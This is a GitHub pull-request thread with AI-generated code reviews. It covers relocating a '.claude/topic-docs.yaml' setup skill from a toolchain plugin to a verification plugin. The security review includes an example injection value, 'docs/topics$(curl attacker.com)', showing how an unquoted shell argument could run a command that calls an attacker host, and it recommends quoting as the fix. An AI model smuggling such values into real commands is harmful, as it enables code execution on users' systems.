refactor(toolchain): relocate setup topic-docs offering to the verification plugin that owns it

[kyle-sexton]

Summary

/toolchain:setup step 6 wrote .claude/topic-docs.yaml — a consumer config resolved by the implementation and verification plugins for artifact placement, not by any /toolchain:* skill. toolchain is a build/test/lint plugin that owns no lifecycle artifacts, so it was writing another plugin's consumer config. This relocates the offering to the lifecycle plugin that owns it, matching the established /discovery:setup and /planning:setup pattern (each lifecycle plugin's own setup offers the shared concern file, independent of whether the siblings are installed).

verification was the actual gap: it is a fully-formed lifecycle plugin (it already ships reference/topic-docs.md describing exactly what it writes per tier) but had no setup skill, so it depended on toolchain to persist its config. planning/discovery already cover the shared PLAN.md/EXPLORE.md seam via their own setups.

Fix

• Add /verification:setup — settles the topic-docs seam for the consuming repo: check (default) reports the effective concern read-only; apply persists the tracked .claude/topic-docs.yaml (non-interactive from <key>=<value> args or a one-question interview) behind the committed-tier git check-ignore guard, never editing the consumer's root .gitignore. Mirrors /discovery:setup. Adds its evals/evals.json.
• Scope /toolchain:setup to what it owns (the ecosystem command surface): removed the topic-docs report from check, the offering from apply (step 6), and the now-orphaned reference/topic-docs.md binding that only step 6 read.
• Updated both plugins' READMEs (verification's Configuration/skill table now point to /verification:setup; toolchain no longer advertises the topic-docs offering).
• Bumped toolchain 0.4.3 → 0.5.0 (capability removed) and verification 0.2.4 → 0.3.0 (skill added), each with a top-inserted CHANGELOG entry.

Verification

All commands run against origin/main in the worktree.

• node scripts/validate-plugin-contracts.mjs → Plugin contracts validated: 34 setup skills and 1824 plugin files checked. (was 33 setup skills)
• node scripts/generate-catalog.mjs --check → Catalog is in sync with the manifests.
• bash scripts/check-changelog-parity.sh --check → Every versioned plugin has a CHANGELOG.md ...
• bash scripts/check-skill-leaf-names.sh --check → All 8 cross-plugin skill leaf-name collisions are registered. (setup leaf is open by contract)
• bash scripts/check-changed-skills.sh origin/main → 3 skill(s) checked, 0 failed. — verification/skills/setup and toolchain/skills/setup both PASS (0 errors).
• npx markdownlint-cli2 on all 6 changed markdown files → Summary: 0 error(s).

scripts/check-skill-portability.sh --all exits 1 on a pre-existing work-items/track branch-default coupling, unrelated to this change; no new file is flagged.

Closes #263

Related

• Mirrors the topic-docs setup pattern already in plugins/discovery/skills/setup and plugins/planning/skills/setup.
• verification's per-artifact tier placement remains owned by plugins/verification/reference/topic-docs.md.

🤖 Generated with Claude Code

[claude]

Claude finished @kyle-sexton's task in 2m 14s —— View job

---

PR Review

• Gather context and understand the request
• Read changed files and PR diff
• Review verification/skills/setup/SKILL.md (new skill)
• Review toolchain/skills/setup/SKILL.md (stripped topic-docs)
• Review plugin.json version bumps and changelogs
• Review evals/evals.json for new skill
• Post comprehensive review

---

Summary

This is a clean ownership refactor: /toolchain:setup was writing .claude/topic-docs.yaml, a consumer config only read by implementation and verification plugins, not by any /toolchain:* skill. Moving that offering to /verification:setup closes the gap correctly, and mirrors the pattern already established by /discovery:setup and /planning:setup. The PR is well-structured, all scripts validated, and I have no blocking findings.

---

Architecture

Ownership assignment is correct. toolchain is a build/test/lint plugin — it has no business writing a concern file that governs where verification artifacts land. The refactor aligns the plugin boundary with the principle that each lifecycle plugin owns its own setup seam. The resulting four-way symmetry (discovery, planning, implementation, verification) is clean.

Idempotency is properly specified. SKILL.md L27-33 states re-running reads the current state and offers an update, rather than overwriting blind. The non-interactive path (complete <key>=<value> args) and interactive interview path are clearly separated.

Guard before write is correctly placed. SKILL.md L73-76 runs the committed-tier git check-ignore guard and STOPs before persistence if a consumer ignore rule matches — the explicitly noted "check a representative file path rather than just the directory" is important since ** patterns can miss bare directory probes, and eval 2 directly covers this.

---

New skill: /verification:setup

Evals cover the three critical behaviors well:

Eval	What it tests
reads-topic-docs-state-before-interview	State-read-first, defaults for absent keys, all keys offered
fails-closed-on-ignored-contract-tier	Guard stops before write; exact rule reported; no gitignore edit
persists-tracked-concern-file-idempotently	Schema-valid YAML object; preserves existing keys; memory root self-ignore; no rewrite on re-run

One edge case worth noting — not a blocker: SKILL.md L76 says "omit keys the user leaves at their defaults, but always write at least one explicit key". In the non-interactive path where a caller passes all four keys at their documented defaults, the guidance is slightly ambiguous — should the model omit all (then write one anyway) or write all? In practice the caller is being explicit about wanting those values, so writing them all is the right call, but the spec doesn't distinguish this sub-case from the interactive "user accepted the recommended default" case. This is an edge case unlikely to be hit in real usage, but a one-line clarification in apply step 2 would eliminate any ambiguity. Fix this →

Hardcoded schema URL: SKILL.md L18 links to https://raw.githubusercontent.com/melodic-software/claude-code-plugins/main/docs/conventions/topic-docs/topic-docs.schema.json. This is a reference URL for consumers to understand the schema — acceptable here since it's intentionally the marketplace's canonical schema location, not a runtime dependency. Consistent with how other skills reference convention docs.

---

Removed from toolchain

The deletion of reference/topic-docs.md is correct — the PR description confirms it was only referenced by the now-removed step 6 in /toolchain:setup. The trimmed toolchain/skills/setup/SKILL.md correctly retains nothing about topic-docs and stays scoped to the ecosystem command surface.

---

Versioning

Plugin	From	To	Reason	Verdict
toolchain	0.4.3	0.5.0	Capability removed	✅ Minor bump for 0.x removal
verification	0.2.4	0.3.0	New skill added	✅ Minor bump for new capability

Both follow semver convention for pre-1.0 plugins; changelogs use correct Keep a Changelog section headers (Removed / Added).

---

Validation

The PR reports all CI checks passed:

• validate-plugin-contracts.mjs → 34 setup skills (was 33) ✅
• generate-catalog.mjs --check → in sync ✅
• check-changelog-parity.sh → every versioned plugin has a CHANGELOG ✅
• check-skill-leaf-names.sh → setup leaf is open by contract ✅
• check-changed-skills.sh → 3 skills checked, 0 errors ✅
• markdownlint-cli2 → 0 errors ✅

Recommendation: approve. The change is architecturally correct, follows the established pattern, is well-validated, and has no blocking issues.

[kyle-sexton]

Post-green review pass complete (rule 8). Bot review: no blocking findings — architecture (ownership assignment to verification, matching the discovery/planning/implementation setup-skill pattern) confirmed correct, idempotency and fail-closed guard behavior both correctly specified, evals cover the 3 critical behaviors. One low-priority edge-case wording ambiguity flagged (non-blocker) and one hardcoded schema URL confirmed intentional/acceptable (canonical marketplace schema location, not a runtime dependency).

No threads to resolve, CI fully green (13/13).

Flipping to ready for review; handing off to the babysit lane for merge.

[claude]

Claude finished @kyle-sexton's task in 2m 28s —— View job

---

PR Review

• Gather context and understand the request
• Read changed files (diff, new skill, modified setup)
• Review verification/skills/setup/SKILL.md (new skill)
• Review verification/skills/setup/evals/evals.json (new evals)
• Review toolchain/skills/setup/SKILL.md (stripped topic-docs)
• Review plugin.json version bumps and changelogs
• Review READMEs
• Post comprehensive review

---

Summary

Clean ownership refactor. /toolchain:setup was writing .claude/topic-docs.yaml, a concern file consumed only by implementation and verification, not by any /toolchain:* skill. Moving that offering to /verification:setup closes the gap and mirrors the pattern already established by /discovery:setup and /planning:setup. All CI checks passed; no blocking issues found.

---

Architecture

Ownership assignment is correct. toolchain is a build/test/lint plugin — writing a concern file for where verification artifacts land is out of scope. The refactor aligns the plugin boundary cleanly, and the resulting four-way symmetry (discovery, planning, implementation, verification each offering the shared file independently) is consistent with the established pattern.

Idempotency is properly specified. SKILL.md L26-27 and the apply step 1 instruction to present a summary against an existing baseline both enforce read-first, offer-changes behavior.

Guard placement is correct. SKILL.md L73-76 runs the git check-ignore guard on a representative file path (not the bare directory — explicitly noted at L48) before any write, and eval 2 directly covers this behavior.

---

New skill: /verification:setup

Evals cover the three critical behaviors:

Eval	What it tests
reads-topic-docs-state-before-interview	State-read-first; defaults for absent keys; all keys offered
fails-closed-on-ignored-contract-tier	Guard uses representative file path; stops before write; reports exact rule; never edits an ignore file
persists-tracked-concern-file-idempotently	Schema-valid YAML object; preserves existing keys; memory root self-ignore; no rewrite on re-run

Spec tension between step 1 and step 2 in apply — non-blocker but worth a one-line fix: SKILL.md L68-69 (step 1) says "preserve every key an existing file carries — a re-run never drops one." SKILL.md L76 (step 2) says "omit keys the user leaves at their defaults." A model following step 2 literally on a re-run could drop an existing key that happens to match a default — contradicting step 1. The intended reading is that the "omit defaults" rule applies only on initial creation (no existing file); on re-run, existing keys are always preserved. Adding "on initial creation" or "when no existing value is present for that key" to step 2 would make this explicit and close the gap. Eval 3's "Preserves all existing schema keys on reconfiguration" expectation does enforce the correct behavior at eval time, but a well-prompted model shouldn't need to infer this from the eval. Fix this →

The prior review flagged the overlapping non-interactive path ambiguity (all 4 keys explicitly passed at their defaults) — both findings stem from the same underspecified boundary between "initial create" and "update" semantics in step 2. One clarifying phrase resolves both.

GitBook deferred-backend spec is consistent. The check step 4 and apply step 1 both describe gitbook as reserved-but-deferred identically, with the same non-writable rationale. No drift.

Hardcoded schema URL at SKILL.md L18 — intentional and acceptable. This is the marketplace's canonical schema location for consumer reference, consistent with how other skills link convention docs. Not a runtime dependency.

---

Removed from toolchain

The deletion of reference/topic-docs.md is correct — the PR description confirms it was only consumed by step 6 in /toolchain:setup, which is also removed. The trimmed toolchain/skills/setup/SKILL.md stays cleanly scoped to the ecosystem command surface (.claude/ecosystems/*.yaml files) with no residual reference to topic-docs.

---

Versioning & Changelogs

Plugin	From	To	Reason	Verdict
toolchain	0.4.3	0.5.0	Capability removed	✅ Minor bump for 0.x removal
verification	0.2.4	0.3.0	New skill added	✅ Minor bump for new capability

Both changelog entries use the correct Keep a Changelog section headers (Removed / Added), cross-reference #263, and accurately describe what changed.

---

Validation

Per PR body (all scripts run against origin/main in the worktree):

• validate-plugin-contracts.mjs → 34 setup skills (was 33) ✅
• generate-catalog.mjs --check → in sync ✅
• check-changelog-parity.sh → every versioned plugin has a CHANGELOG ✅
• check-skill-leaf-names.sh → setup leaf is open by contract ✅
• check-changed-skills.sh → 3 skills checked, 0 errors ✅
• markdownlint-cli2 → 0 errors on all 6 changed markdown files ✅

---

Recommendation: approve. One non-blocking spec wording opportunity (step 2 "omit defaults" needs to scope to initial-create only), but the eval already enforces the correct behavior. Architecture is correct, validated, and follows the established pattern.

[chatgpt-codex-connector]

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 30d9121ef3

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

[claude]

Claude finished @kyle-sexton's task in 1m 52s —— View job

---

PR Review

• Gather context and understand the request
• Read the latest commit diff (7d3d88d — docs: fix stale topic-docs setup pointers)
• Review verification/skills/setup/SKILL.md and evals
• Review implementation/README.md update
• Review prior review findings vs current state
• Post comprehensive review

---

Summary

Two-commit PR — the main refactor (30d9121) and a stale-pointer follow-up (7d3d88d). The follow-up addresses both Codex P2 findings and the implementation sibling mis-listing flagged in the prior two automated reviews. No blocking issues remain.

---

Latest commit: 7d3d88d — docs fix

Both stale-pointer corrections are accurate:

1. SKILL.md L22-24 previously listed implementation as a sibling that "offers the same file from its own setup." implementation has no setup skill — it consumes the concern file. The fix correctly names only discovery and planning as the co-offering siblings.

2. implementation/README.md L36-37 and L76-78 previously pointed to /toolchain:setup as the entry point for writing .claude/topic-docs.yaml. After the relocation, that command no longer writes that file. The fix correctly points to /discovery:setup, /planning:setup, /verification:setup — the three lifecycle plugins that each independently offer it.

This directly resolves the Codex P2 "Update the implementation setup routing" finding and the sibling-list ambiguity noted in both prior bot reviews.

---

Codex P2 — concerned-file ignore check

The second Codex P2 finding ("run git check-ignore -v on the concern-file path itself") is a theoretical edge case: if a consumer ignores .claude/topic-docs.yaml specifically, the committed-tier guard (which probes <contract_dir>/probe/PLAN.md) would pass and the concern file would be written but git-ignored. However:

• .claude/ is Claude Code's own config directory — a consumer ignoring it would break their Claude Code setup entirely, not just this plugin.
• The guard's purpose is to protect the committed-artifact tier (e.g. docs/topics/) from landing in an ignored path, which it does correctly per SKILL.md L47-50.

Not adding a second git check-ignore for the concern file is a reasonable scope call. If you disagree, a one-liner at the end of apply step 2 would close it — but it's low priority.

---

Spec tension (carried from prior reviews, still present)

SKILL.md L76 says "omit keys the user leaves at their defaults" while L66-67 says "preserve every key an existing file carries — a re-run never drops one." A model following step 2 literally on a re-run could drop an existing key that happens to match a default, contradicting step 1. The intended reading — "omit defaults applies only on initial creation; re-runs always preserve existing keys" — is enforced by eval 3's "Preserves all existing schema keys on reconfiguration" expectation but not stated explicitly in the spec prose. Non-blocker; the eval catches the wrong behavior. Fix this →

---

Validation summary

Per PR body (all scripts pass):

• validate-plugin-contracts.mjs → 34 setup skills ✅
• generate-catalog.mjs --check → in sync ✅
• check-changelog-parity.sh → every versioned plugin has a CHANGELOG ✅
• check-skill-leaf-names.sh → setup leaf open by contract ✅
• check-changed-skills.sh → 3 skills, 0 errors ✅
• markdownlint-cli2 → 0 errors ✅

---

Recommendation: approve. Both Codex stale-pointer findings are cleanly resolved in 7d3d88d. The concern-file ignore-check Codex finding is low-priority and the architecture decision not to add it is defensible. The one remaining spec wording opportunity (step 2 "omit defaults" needs initial-create scoping) is covered at eval time.

[claude]

Claude finished @kyle-sexton's task in 3m 24s —— View job

---

Security Review — PR #737

• Gather context and understand the request
• Read PR diff (2 commits, 11 files — no workflow files, no scripts, no executable code)
• Review verification/skills/setup/SKILL.md (new skill)
• Review verification/skills/setup/evals/evals.json
• Review toolchain/skills/setup/SKILL.md (stripped)
• Review remaining changed files (READMEs, changelogs, plugin.json manifests)
• Post findings

---

No CRITICAL or IMPORTANT findings. Two SUGGESTION-level observations follow.

---

SUGGESTION — Unquoted path in git check-ignore -v probe

Confidence: PLAUSIBLE

SKILL.md L47–50 and L73–75 instruct the model to run:

git check-ignore -v <contract_dir>/probe/PLAN.md

In the non-interactive path, the spec says to use <key>=<value> arguments "directly" (L61). If a consumer passes contract_dir=docs/topics$(curl attacker.com) and the model constructs the shell command without quoting the path, the subshell expression executes. The spec is silent on quoting.

Mitigated in practice by LLM safety behaviors and Claude Code's Bash-tool permission prompts, but the spec should close this explicitly rather than relying on model discretion. Fix this →

---

SUGGESTION — Guard scope excludes the concern file's own ignore status

Confidence: CONFIRMED (logic gap)

The committed-tier guard (SKILL.md L47–50 and L73) probes <contract_dir>/probe/PLAN.md to detect ignored contract roots. It does not probe .claude/topic-docs.yaml itself. A consumer whose repo gitignores .claude/ or .claude/topic-docs.yaml specifically will pass the guard, have the concern file written, and receive a "tracked" report — but teammates who clone the repo will never receive the file and silently run on defaults, giving a false sense of shared configuration.

The Codex review raised this (first inline comment). The fix is a second git check-ignore -v .claude/topic-docs.yaml probe in step 2 of apply, before writing. Fix this →

---

Areas checked with no findings

Area	Result
GitHub Actions workflow files	None changed
Shell command injection (scripts)	No scripts in the diff
Hardcoded secrets / credentials	None
External fetch / data egress	Schema URL is a consumer reference link, not a runtime fetch
Supply chain (new dependencies, unpinned actions)	None introduced
Permission widening (workflow permissions:, settings files)	None changed
pull_request_target / workflow_run unsafe patterns	No workflow changes
Plugin sandbox compliance (${CLAUDE_PLUGIN_ROOT}, ${CLAUDE_PLUGIN_DATA})	Correct — concern file is always written to consumer's .claude/topic-docs.yaml
Memory/state written outside consumer repo	Not specified; memory_dir self-ignore creation stays within repo by convention
disable-model-invocation: true	Present on both setup skills — correct

---

[chatgpt-codex-connector]

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 7d3d88d159

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

[kyle-sexton]

The 3 shared setup-skill findings left open on this PR (comments 3616655423, 3616882930, 3616882934) are tracked cross-cutting in #745 rather than patched here — they're verbatim-identical in /discovery:setup and /planning:setup too, so a single-plugin fix would diverge the explicitly-mirrored family.